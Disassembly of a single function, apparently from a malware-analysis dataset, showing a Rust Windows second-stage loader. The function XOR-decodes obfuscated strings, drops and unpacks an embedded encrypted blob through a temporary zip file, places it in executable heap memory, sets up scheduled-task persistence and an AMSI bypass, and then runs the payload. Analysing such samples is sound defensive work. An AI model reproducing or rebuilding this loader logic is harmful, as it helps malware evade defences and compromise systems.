Function at 0x10002be0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1d0
lea eax, [0x10125adc]
lea ecx, [esp + 0x60]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x60], 0x2ca0810c
push dword [esp + 0x60]
push eax
call sym.obfstr::xref::inner::hbf0824890de9b9b2
add esp, 8
mov ecx, 0x868f4133
xor ecx, dword [eax]
movzx eax, byte [eax + 4]
xor al, 0x87
mov dword [esp + 0x40], ecx
mov byte [esp + 0x44], al
lea eax, [esp + 0x40]
lea ecx, [esp + 8]
push 5
push eax
push ecx
call sym.__LT__RF_str_u20_as_u20_alloc..ffi..c_str..CString..new..SpecNewImpl_GT_::spec_new_impl::h5fd4c193d1ea312f
add esp, 0xc
lea eax, [0x1011e75f]
lea ecx, [esp + 0x60]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x60], 0x925d3c45
push dword [esp + 0x60]
push eax
call sym.obfstr::xref::inner::hd85eb3c49902014a
add esp, 8
mov ecx, 0x63b9c968
mov edx, 0x8086062
mov edi, 0x84806e60
mov esi, 0xa0c97206
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor edi, dword [eax + 8]
xor esi, dword [eax + 0xc]
movzx ebx, byte [eax + 0x12]
movzx eax, word [eax + 0x10]
xor al, 2
xor ah, 0x5d
xor bl, 0xb7
cmp dword [esp + 8], 0x80000000
mov dword [esp + 0x60], ecx
mov dword [esp + 0x64], edx
mov dword [esp + 0x68], edi
mov dword [esp + 0x6c], esi
mov byte [esp + 0x70], al
mov byte [esp + 0x71], ah
mov byte [esp + 0x72], bl
jne 0x10003974
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x60]
mov dword [esp + 0x38], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0xe4], eax
lea eax, [0x1011ca6a]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x60], 0xc4d93643
push dword [esp + 0x60]
push eax
call sym.obfstr::xref::inner::hc5af0c052a8cd4b2
add esp, 8
mov ecx, 0xcebe7d56
mov edx, 0x2383065c
mov esi, 0x2a5c58f8
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
lea eax, [0x10120a04]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x40], ecx
mov dword [esp + 0x44], edx
mov dword [esp + 0x48], esi
lea ecx, [esp + 0x60]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x60], 0x4426893f
push dword [esp + 0x60]
push eax
call sym.obfstr::xref::inner::h856ccc686b2c3992
add esp, 8
mov ecx, 0xe1383981
mov edx, 0x27053a25
mov esi, 0x887a9aa5
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], esi
lea edx, [esp + 8]
lea ecx, [esp + 0x40]
push 0xc
call sym.secondstage::resolve_function::h8dad01bd021b243f
add esp, 4
cmp eax, 1
jne 0x10002e79
push dword [esp + 0x38]
push 0
push 0
call edx
lea eax, [0x101239b1]
lea ecx, [esp + 0x60]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x60], 0xdfc77534
push dword [esp + 0x60]
push eax
call sym.obfstr::xref::inner::h892aa2cdb90bc7d9
add esp, 8
mov ecx, 0x8ece2821
mov edx, 0x328f9544
mov esi, 0xc4c9dfb7
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
lea eax, [0x10126180]
mov dword [esp + 0xec], eax
lea eax, [esp + 0xec]
mov dword [esp + 0x148], ecx
mov dword [esp + 0x14c], edx
mov dword [esp + 0x150], esi
lea ecx, [esp + 0xec]
mov eax, dword [esp + 0xec]
mov dword [esp + 0xec], 0x24203ccf
push dword [esp + 0xec]
push eax
call sym.obfstr::xref::inner::h3373d4920f184d3c
add esp, 8
mov ecx, 0x219522a2
mov edx, 0x3de52802
mov esi, 0x8441aa70
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
mov dword [esp + 0x60], ecx
mov dword [esp + 0x64], edx
mov dword [esp + 0x68], esi
lea edx, [esp + 0x60]
lea ecx, [esp + 0x148]
push 0xc
call sym.secondstage::resolve_function::h8dad01bd021b243f
add esp, 4
cmp eax, 1
jne 0x10002e79
call edx
cmp eax, 0xb7
je 0x100038d1
mov eax, dword [0x10145400]
movzx eax, byte [eax]
push 1
push 0x59708
call sym.___rust_alloc
add esp, 8
test eax, eax
je 0x100039b8
push 0x59708
push 0x100cd120
mov dword [esp + 0x44], eax
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
lea eax, [esp + 0xc]
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 4], eax
call sym.std::time::SystemTime::now::hfb1a1f63355b68fb
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], edx
push 0x19db1de
push 0xd53e8000
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x6c]
push eax
call sym.std::time::SystemTime::duration_since::hafd08a45b2a489c0
add esp, 0x10
mov eax, dword [esp + 0x60]
or eax, dword [esp + 0x64]
jne 0x100039cc
mov esi, dword [esp + 0x68]
mov ecx, 0x84210843
mov eax, esi
shr eax, 1
mul ecx
mov edi, edx
shr edi, 4
mov eax, edi
lea ecx, [edi + edi]
shl eax, 6
sub ecx, eax
movzx eax, byte [esi + ecx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789E]
test al, al
mov byte [esp], al
js 0x10002f58
mov ebx, dword [esp + 0x10]
cmp ebx, dword [esp + 8]
jne 0x10002f4a
lea eax, [esp + 8]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::h0ec9db8a287adec0
add esp, 4
mov eax, dword [esp + 0xc]
movzx ecx, byte [esp]
mov byte [eax + ebx], cl
inc ebx
jmp 0x10002fa2
mov eax, dword [esp + 8]
mov ebx, dword [esp + 0x10]
sub eax, ebx
cmp eax, 1
ja 0x10002f7b
push 2
push ebx
lea eax, [esp + 0x10]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve::do_reserve_and_handle::ha2fac3b9ee1508e0
add esp, 0xc
mov ebx, dword [esp + 0x10]
movzx eax, byte [esp]
mov edx, dword [esp + 0xc]
movzx eax, ax
mov ecx, eax
and eax, 0x3f
shr ecx, 6
shl eax, 8
movzx ecx, cx
lea eax, [ecx + eax + 0x80c0]
mov word [edx + ebx], ax
add ebx, 2
mov ecx, 0x8421085
mov eax, edi
mov dword [esp + 0x10], ebx
mul ecx
shr edx, 1
mov eax, edx
add edx, edx
shl eax, 6
sub edx, eax
movzx eax, byte [edi + edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789E]
test al, al
mov byte [esp], al
js 0x10002fea
cmp ebx, dword [esp + 8]
jne 0x10002fdc
lea eax, [esp + 8]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::h0ec9db8a287adec0
add esp, 4
mov eax, dword [esp + 0xc]
movzx ecx, byte [esp]
mov byte [eax + ebx], cl
inc ebx
jmp 0x10003030
mov eax, dword [esp + 8]
sub eax, ebx
cmp eax, 1
ja 0x10003009
push 2
push ebx
lea eax, [esp + 0x10]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve::do_reserve_and_handle::ha2fac3b9ee1508e0
add esp, 0xc
mov ebx, dword [esp + 0x10]
movzx eax, byte [esp]
mov edx, dword [esp + 0xc]
movzx eax, ax
mov ecx, eax
and eax, 0x3f
shr ecx, 6
shl eax, 8
movzx ecx, cx
lea eax, [ecx + eax + 0x80c0]
mov word [edx + ebx], ax
add ebx, 2
mov ecx, 0x8864298f
mov eax, esi
mov dword [esp + 0x10], ebx
mul ecx
mov ecx, edx
mov edx, 0x4210843
shr ecx, 0xb
mov eax, ecx
mul edx
mov eax, edx
add edx, edx
shl eax, 6
sub edx, eax
movzx eax, byte [ecx + edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789E]
test al, al
mov byte [esp], al
js 0x10003084
cmp ebx, dword [esp + 8]
jne 0x10003076
lea eax, [esp + 8]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::h0ec9db8a287adec0
add esp, 4
mov eax, dword [esp + 0xc]
movzx ecx, byte [esp]
mov byte [eax + ebx], cl
inc ebx
jmp 0x100030ca
mov eax, dword [esp + 8]
sub eax, ebx
cmp eax, 1
ja 0x100030a3
push 2
push ebx
lea eax, [esp + 0x10]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve::do_reserve_and_handle::ha2fac3b9ee1508e0
add esp, 0xc
mov ebx, dword [esp + 0x10]
movzx eax, byte [esp]
mov edx, dword [esp + 0xc]
movzx eax, ax
mov ecx, eax
and eax, 0x3f
shr ecx, 6
shl eax, 8
movzx ecx, cx
lea eax, [ecx + eax + 0x80c0]
mov word [edx + ebx], ax
add ebx, 2
shr esi, 3
mov ecx, 0x23329f5f
mov dword [esp + 0x10], ebx
mov eax, esi
mul ecx
shr edx, 0xc
imul eax, edx, 0x4211
shr eax, 0x14
mov ecx, eax
add eax, eax
shl ecx, 6
sub eax, ecx
add eax, edx
movzx eax, ax
movzx eax, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789E]
test al, al
mov byte [esp], al
js 0x10003123
cmp ebx, dword [esp + 8]
jne 0x10003115
lea eax, [esp + 8]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::grow_one::h0ec9db8a287adec0
add esp, 4
mov eax, dword [esp + 0xc]
movzx ecx, byte [esp]
mov byte [eax + ebx], cl
inc ebx
jmp 0x10003169
mov eax, dword [esp + 8]
sub eax, ebx
cmp eax, 1
ja 0x10003142
push 2
push ebx
lea eax, [esp + 0x10]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve::do_reserve_and_handle::ha2fac3b9ee1508e0
add esp, 0xc
mov ebx, dword [esp + 0x10]
movzx eax, byte [esp]
mov edx, dword [esp + 0xc]
movzx eax, ax
mov ecx, eax
and eax, 0x3f
shr ecx, 6
shl eax, 8
movzx ecx, cx
lea eax, [ecx + eax + 0x80c0]
mov word [edx + ebx], ax
add ebx, 2
movsd xmm0, qword [esp + 8]
mov dword [esp + 0x110], ebx
movsd qword [esp + 0x108], xmm0
lea esi, [esp + 0xec]
push esi
call sym.std::env::temp_dir::hcae3ba1b04834ca3
add esp, 4
push esi
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h8cd84770b6c4b687
add esp, 4
mov esi, eax
lea eax, [esp + 0x108]
mov edi, edx
mov dword [esp + 0x60], 0x1012682c
mov dword [esp + 0x64], 2
mov dword [esp + 0x70], 0
mov dword [esp + 0x148], eax
lea eax, [esp + 0x148]
mov dword [esp + 0x14c], fcn.10001a10
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], 1
lea eax, [esp + 0x13c]
lea ecx, [esp + 0x60]
push ecx
push eax
call sym.alloc::fmt::format::format_inner::h50f5774af0e74e13
add esp, 8
mov ebx, dword [esp + 0x140]
push dword [esp + 0x144]
push ebx
push edi
push esi
lea eax, [esp + 0x50]
push eax
call sym.std::path::Path::_join::h476211d83d7f7b15
add esp, 0x14
mov eax, dword [esp + 0x13c]
test eax, eax
je 0x1000322a
push 1
push eax
push ebx
call sym.___rust_dealloc
add esp, 0xc
xorps xmm0, xmm0
mov dword [esp + 0x60], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 7
movsd qword [esp + 0x7a], xmm0
movsd qword [esp + 0x74], xmm0
mov byte [esp + 0x7d], 1
mov word [esp + 0x7f], 0x101
lea eax, [esp + 0x40]
push eax
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h8cd84770b6c4b687
add esp, 4
push edx
push eax
lea eax, [esp + 0x68]
push eax
lea eax, [esp + 0x154]
push eax
call sym.std::fs::OpenOptions::_open::hd0f7157e6424189f
add esp, 0x10
cmp byte [esp + 0x148], 4
jne 0x10003a13
mov eax, dword [esp + 0x14c]
mov dword [esp + 0x50], eax
lea eax, [esp + 0x50]
push 0x59708
push dword [esp + 0x40]
push eax
lea eax, [esp + 0x154]
push eax
call sym.std::io::Write::write_all::h4d956e10869c4856
add esp, 0x10
cmp byte [esp + 0x148], 4
jne 0x10003a45
xorps xmm0, xmm0
mov dword [esp + 0x54], 0
mov dword [esp + 0x58], 1
mov dword [esp + 0x60], 0
mov dword [esp + 0x68], 0
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 7
mov dword [esp + 0x5c], 0
movsd qword [esp + 0x7a], xmm0
movsd qword [esp + 0x74], xmm0
mov byte [esp + 0x7c], 1
lea eax, [esp + 0x40]
push eax
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h8cd84770b6c4b687
add esp, 4
push edx
push eax
lea eax, [esp + 0x68]
push eax
lea eax, [esp + 0x154]
push eax
call sym.std::fs::OpenOptions::_open::hd0f7157e6424189f
add esp, 0x10
cmp byte [esp + 0x148], 4
jne 0x10003a77
push dword [esp + 0x14c]
lea eax, [esp + 0x64]
push eax
call sym.zip::read::ZipArchive_LT_R_GT_::new::hb9972f79756a3517
add esp, 8
cmp dword [esp + 0x84], 0x80000000
je 0x10003aa9
movsd xmm1, qword [esp + 0x80]
movsd xmm2, qword [esp + 0x78]
movsd xmm0, qword [esp + 0x88]
movsd qword [esp + 0x28], xmm1
movsd xmm1, qword [esp + 0x70]
movsd qword [esp + 0x20], xmm2
movsd xmm2, qword [esp + 0x60]
movsd qword [esp + 0x30], xmm0
movsd qword [esp + 0x18], xmm1
movsd xmm1, qword [esp + 0x68]
movsd qword [esp + 8], xmm2
movsd qword [esp + 0x10], xmm1
mov eax, dword [esp + 0x34]
test eax, eax
mov dword [esp + 0x11c], eax
je 0x10003521
mov esi, 1
xor ebx, ebx
mov dword [esp + 4], 0
nop word cs:[eax + eax]
nop dword [eax + eax]
push ebx
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x68]
push eax
call sym.zip::read::ZipArchive_LT_R_GT_::by_index::h21097577e0a5e021
add esp, 0xc
mov eax, dword [esp + 0x60]
mov dword [esp], esi
xor eax, 3
or eax, dword [esp + 0x64]
je 0x100038fc
lea edx, [esp + 0x148]
lea eax, [esp + 0x60]
mov ecx, 0x20
mov edi, edx
mov esi, eax
rep movsd dword es:[edi], dword [esi]
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 1
mov dword [esp + 0x68], 0
sub esp, 4
push 0
push eax
push edx
lea eax, [esp + 0x10c]
push eax
call sym.std::io::default_read_to_end::h799d98ed12ae2122
add esp, 0x14
cmp byte [esp + 0xfc], 4
jne 0x1000393c
mov ecx, dword [esp + 0x54]
mov edi, dword [esp + 4]
mov esi, dword [esp + 0x68]
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x64]
mov dword [esp + 0x120], ebx
sub ecx, edi
mov dword [esp + 0xe8], eax
mov dword [esp + 0x118], edx
cmp ecx, esi
jae 0x100034c0
push esi
push edi
lea eax, [esp + 0x5c]
push eax
call sym.alloc::raw_vec::RawVec_LT_T_C_A_GT_::reserve::do_reserve_and_handle::ha2fac3b9ee1508e0
add esp, 0xc
mov eax, dword [esp + 0x58]
mov edi, dword [esp + 0x5c]
jmp 0x100034c3
mov eax, dword [esp]
mov dword [esp], eax
add eax, edi
push esi
mov ebx, dword [esp + 0x11c]
push ebx
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0xe8]
add edi, esi
mov dword [esp + 4], edi
mov dword [esp + 0x5c], edi
test eax, eax
je 0x100034fb
push 1
push eax
push ebx
call sym.___rust_dealloc
add esp, 0xc
lea ecx, [esp + 0x148]
call sym.core::ptr::drop_in_place_LT_zip..read..ZipFile_GT_::h05a8ece4f51e990a
mov esi, dword [esp]
mov ebx, dword [esp + 0x120]
inc ebx
cmp dword [esp + 0x11c], ebx
jne 0x100033f0
jmp 0x10003529
mov dword [esp + 4], 0
lea eax, [esp + 0x40]
push eax
call sym.std::sys::os_str::wtf8::Buf::as_mut_slice::h8cd84770b6c4b687
add esp, 4
push edx
push eax
lea eax, [esp + 0x150]
push eax
call sym.std::sys::pal::windows::fs::unlink::h65054d000f0fbb6d
add esp, 0xc
cmp byte [esp + 0x148], 4
jne 0x10003ae6
mov ebx, dword [esp + 4]
test ebx, ebx
je 0x100035bd
mov edi, dword [esp + 0x58]
lea ecx, [ebx - 0x21]
xor eax, eax
cmp ecx, 0xffffffe7
mov ecx, edi
jb 0x10003679
xor eax, eax
cmp ebx, 0x10
jae 0x1000363c
mov edx, eax
mov eax, ebx
and eax, 0x38
lea ecx, [edi + eax]
nop word [eax + eax]
mov esi, edx
movsd xmm1, qword [edi + edx]
and esi, 0x18
movsd xmm0, qword [esi + 0x1012688c]
xorps xmm1, xmm0
movlps qword [edi + edx], xmm1
add edx, 8
cmp eax, edx
jne 0x10003590
cmp ebx, eax
jne 0x10003679
jmp 0x10003696
lea ecx, [esp + 8]
call sym.core::ptr::drop_in_place_LT_zip..read..ZipArchive_LT_std..fs..File_GT__GT_::ha3adf65d5094fc82
mov eax, dword [esp + 0x54]
test eax, eax
je 0x100035dd
push 1
push eax
push dword [esp + 0x60]
call sym.___rust_dealloc
add esp, 0xc
push dword [esp + 0x50]
call sub.kernel32.dll_CloseHandle
mov eax, dword [esp + 0x40]
test eax, eax
je 0x100035fd
push 1
push eax
push dword [esp + 0x4c]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [esp + 0xec]
test eax, eax
je 0x1000361a
push 1
push eax
push dword [esp + 0xf8]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [esp + 0x108]
test eax, eax
je 0x10003637
push 1
push eax
push dword [esp + 0x114]
call sym.___rust_dealloc
add esp, 0xc
jmp 0x100038be
mov eax, ebx
xor ecx, ecx
and eax, 0x30
nop word cs:[eax + eax]
nop dword [eax]
movups xmm0, xmmword [ecx + 0x1012688c]
movups xmm1, xmmword [edi + ecx]
xorps xmm1, xmm0
movups xmmword [edi + ecx], xmm1
add ecx, 0x10
cmp eax, ecx
jne 0x10003650
cmp ebx, eax
je 0x10003696
test bl, 8
jne 0x1000357d
lea ecx, [edi + eax]
lea edx, [edi + ebx]
nop dword [eax]
lea esi, [eax + 1]
and eax, 0x1f
movzx eax, byte [eax + 0x1012688c]
xor byte [ecx], al
inc ecx
mov eax, esi
cmp ecx, edx
jne 0x10003680
lea eax, [0x10125a8f]
lea ecx, [esp + 0x60]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x60], 0x5d225ce6
push dword [esp + 0x60]
push eax
call sym.obfstr::xref::inner::h0e5c022d8af96db8
add esp, 8
mov ecx, 0x9c35c042
mov edx, 0xa38fd9dc
mov esi, 0x4e3ac546
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor esi, dword [eax + 8]
lea eax, [0x1011a00b]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x124], ecx
mov dword [esp + 0x128], edx
mov dword [esp + 0x12c], esi
lea ecx, [esp + 0x60]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x60], 0x60d0693c
push dword [esp + 0x60]
push eax
call sym.obfstr::xref::inner::h66a8b8c3f5216021
add esp, 8
mov ecx, 0xbf7f89cf
mov edx, 0x868f936c
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, word [eax + 8]
xor al, 0xbd
xor ah, 0xa
mov dword [esp + 0xfc], ecx
mov dword [esp + 0x100], edx
mov byte [esp + 0x104], al
mov byte [esp + 0x105], ah
lea edx, [esp + 0xfc]
lea ecx, [esp + 0x124]
push 0xa
call sym.secondstage::resolve_function::h8dad01bd021b243f
add esp, 4
cmp eax, 1
jne 0x10003847
push 0
push 0
push 0x40000
call edx
mov esi, eax
lea eax, [0x1011b6db]
lea ecx, [esp + 0x60]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x60], 0xa5bd98e5
push dword [esp + 0x60]
push eax
call sym.obfstr::xref::inner::h6fed4cd476e23cdf
add esp, 8
mov ecx, 0xb04595a8
mov edx, 0x5ce20ed0
mov ebx, 0xba3809cc
xor ecx, dword [eax]
xor edx, dword [eax + 4]
xor ebx, dword [eax + 8]
lea eax, [0x10126ca7]
mov dword [esp + 0x60], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x148], ecx
mov dword [esp + 0x14c], edx
mov dword [esp + 0x150], ebx
lea ebx, [esp + 0x60]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x60], 0xf2a3ae26
push dword [esp + 0x60]
push eax
call sym.obfstr::xref::inner::haa33ed37df88a8a1
add esp, 8
mov ecx, 0x7147f636
mov edx, 0x7faf4f36
xor ecx, dword [eax]
xor edx, dword [eax + 4]
movzx eax, byte [eax + 8]
xor al, 0x52
mov dword [esp + 0x130], ecx
mov dword [esp + 0x134], edx
mov byte [esp + 0x138], al
lea edx, [esp + 0x130]
lea ecx, [esp + 0x148]
push 9
call sym.secondstage::resolve_function::h8dad01bd021b243f
add esp, 4
cmp eax, 1
je 0x10003b15
lea ecx, [esp + 8]
call sym.core::ptr::drop_in_place_LT_zip..read..ZipArchive_LT_std..fs..File_GT__GT_::ha3adf65d5094fc82
mov eax, dword [esp + 0x54]
test eax, eax
je 0x10003864
push 1
push eax
push edi
call sym.___rust_dealloc
add esp, 0xc
push dword [esp + 0x50]
call sub.kernel32.dll_CloseHandle
mov eax, dword [esp + 0x40]
test eax, eax
je 0x10003884
push 1
push eax
push dword [esp + 0x4c]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [esp + 0xec]
test eax, eax
je 0x100038a1
push 1
push eax
push dword [esp + 0xf8]
call sym.___rust_dealloc
add esp, 0xc
mov eax, dword [esp + 0x108]
test eax, eax
je 0x100038be
push 1
push eax
push dword [esp + 0x114]
call sym.___rust_dealloc
add esp, 0xc
push 1
push 0x59708
push dword [esp + 0x44]
call sym.___rust_dealloc
add esp, 0xc
mov ecx, dword [esp + 0xe4]
mov eax, dword [esp + 0x38]
test ecx, ecx
mov byte [eax], 0
je 0x100038ef
push 1
push ecx
push eax
call sym.___rust_dealloc
add esp, 0xc
mov eax, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [esp + 0x70]
movsd xmm0, qword [esp + 0x68]
mov dword [esp + 0x150], eax
movsd qword [esp + 0x148], xmm0
push 0x101268ac
push 0x100cd04c
lea eax, [esp + 0x150]
push eax
push 0x2b
push 0x100cd020
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10003b62
movsd xmm0, qword [esp + 0xfc]
movsd qword [esp + 0x124], xmm0
lea esi, [esp + 0x124]
push 0x101268bc
push 0x100cd010
push esi
push 0x2b
push 0x100cd020
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10003b62
movsd xmm0, qword [esp + 8]
movsd xmm1, qword [esp + 0x10]
movsd qword [esp + 0x150], xmm1
movsd qword [esp + 0x148], xmm0
lea esi, [esp + 0x148]
push 0x100cd110
push section..rdata
push esi
push 0x13
lea eax, [esp + 0x70]
push eax
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10003b62
push 0x59708
push 1
call sym.alloc::raw_vec::handle_error::hfb8b40974975e9a6
add esp, 8
jmp 0x10003b62
mov eax, dword [esp + 0x68]
mov ecx, dword [esp + 0x6c]
mov edx, dword [esp + 0x70]
mov dword [esp + 0x14c], ecx
mov dword [esp + 0x148], eax
mov dword [esp + 0x150], edx
lea eax, [esp + 0x148]
push 0x10126ca8
push 0x100cd05c
push eax
push 0x2b
push 0x100cd020
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10003b62
movsd xmm0, qword [esp + 0x148]
movsd qword [esp + 0x60], xmm0
push 0x1012683c
push 0x100cd010
lea eax, [esp + 0x68]
push eax
push 0x2b
push 0x100cd020
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10003b62
movsd xmm0, qword [esp + 0x148]
movsd qword [esp + 0x60], xmm0
push 0x1012684c
push 0x100cd010
lea eax, [esp + 0x68]
push eax
push 0x2b
push 0x100cd020
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10003b62
movsd xmm0, qword [esp + 0x148]
movsd qword [esp + 0x60], xmm0
push 0x1012685c
push 0x100cd010
lea eax, [esp + 0x68]
push eax
push 0x2b
push 0x100cd020
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10003b62
mov eax, dword [esp + 0x68]
movsd xmm0, qword [esp + 0x60]
mov dword [esp + 0x150], eax
movsd qword [esp + 0x148], xmm0
push 0x1012686c
push 0x100cd04c
lea eax, [esp + 0x150]
push eax
push 0x2b
push 0x100cd020
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10003b62
movsd xmm0, qword [esp + 0x148]
movsd qword [esp + 0x60], xmm0
push 0x1012687c
push 0x100cd010
lea eax, [esp + 0x68]
push eax
push 0x2b
push 0x100cd020
call sym.core::result::unwrap_failed::h5441fa6e1130b119
add esp, 0x14
jmp 0x10003b62
push dword [esp + 4]
push 8
push esi
call edx
mov esi, eax
push dword [esp + 4]
push edi
push eax
call sub.msvcrt.dll_memmove
add esp, 0xc
call sym.secondstage::pers_sched::h37fe4105f54885e5
push ebx
call sym.secondstage::amsi_care::setup_bypass::hae2b1ce8c7786fe3
add esp, 4
mov eax, dword [esp + 0x60]
test eax, 0x7fffffff
je 0x10003b56
push 1
push eax
push dword [esp + 0x6c]
call sym.___rust_dealloc
add esp, 0xc
call esi
push 0
call sym.std::process::exit::hb5317983b35fb1f3
add esp, 4
ud2